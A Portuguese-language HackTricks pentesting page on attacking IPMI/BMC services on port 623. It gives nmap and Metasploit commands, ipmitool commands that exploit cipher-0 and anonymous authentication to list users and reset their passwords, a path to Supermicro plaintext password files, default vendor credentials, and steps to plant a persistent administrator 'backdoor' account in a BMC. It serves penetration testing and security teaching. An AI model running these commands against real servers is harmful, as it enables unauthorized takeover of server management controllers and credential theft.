hacktricks/network-services-pentesting/623-udp-ipmi.md

10 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Overview of IPMI

Intelligent Platform Management Interface (IPMI) oferece uma abordagem padronizada para gerenciamento e monitoramento remoto de sistemas computacionais, independente do sistema operacional ou estado de energia. Esta tecnologia permite que administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou não respondem, e é especialmente útil para:

  • Configurações de pré-inicialização do sistema operacional
  • Gerenciamento de desligamento
  • Recuperação de falhas do sistema

O IPMI é capaz de monitorar temperaturas, voltagens, velocidades de ventiladores e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Essencial para seu funcionamento são uma fonte de energia e uma conexão LAN.

Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por diversos fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte da versão 2.0 para serial over LAN. Os componentes principais incluem:

  • Baseboard Management Controller (BMC): O microcontrolador principal para operações de IPMI.
  • Buses e Interfaces de Comunicação: Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
  • Memória IPMI: Para armazenar logs e dados.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Porta Padrão: 623/UDP/TCP (Normalmente está no UDP, mas também pode estar rodando no TCP)

Enumeration

Discovery

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Você pode identificar a versão usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidades do IPMI

No âmbito do IPMI 2.0, uma falha de segurança significativa foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do tipo de cifra 0. Esta vulnerabilidade, documentada em detalhes na pesquisa de Dan Farmer, permite acesso não autorizado com qualquer senha, desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.

Bypass de Autenticação do IPMI via Cifra 0

Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

A exploração dessa falha é alcançável com ipmitool, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Recuperação de Hash de Senha Remota de Autenticação RAKP do IPMI 2.0

Essa vulnerabilidade permite a recuperação de senhas hash salgadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Autenticação Anônima IPMI

Uma configuração padrão em muitos BMCs permite acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Senhas em Texto Claro

Uma escolha de design crítica no IPMI 2.0 exige o armazenamento de senhas em texto claro dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como /nv/PSBlock ou /nv/PSStore levanta preocupações significativas de segurança:

cat /nv/PSBlock

Vulnerabilidade UPnP do IPMI da Supermicro

A inclusão de um ouvinte SSDP UPnP no firmware IPMI da Supermicro, particularmente na porta UDP 1900, introduz um grave risco de segurança. Vulnerabilidades no Intel SDK para Dispositivos UPnP versão 1.3.1, conforme detalhado pela divulgação da Rapid7, permitem acesso root ao BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

A HP randomiza a senha padrão para seu produto Integrated Lights Out (iLO) durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar credenciais padrão estáticas. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido a seguir:

  • HP Integrated Lights Out (iLO) usa uma string aleatória de 8 caracteres como sua senha padrão, demonstrando um nível de segurança mais alto.
  • Produtos como iDRAC da Dell, IMM da IBM e Controlador de Gerenciamento Remoto Integrado da Fujitsu usam senhas facilmente adivinháveis, como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
  • Da mesma forma, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.

Accessing the Host via BMC

O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre vários caminhos para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando init=/bin/sh) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer a reinicialização do host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via ipmitool. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação.

Introducing Backdoors into BMC from the Host

Ao comprometer um host equipado com um BMC, a interface BMC local pode ser aproveitada para inserir uma conta de usuário backdoor, criando uma presença duradoura no servidor. Este ataque requer a presença de ipmitool no host comprometido e a ativação do suporte ao driver BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}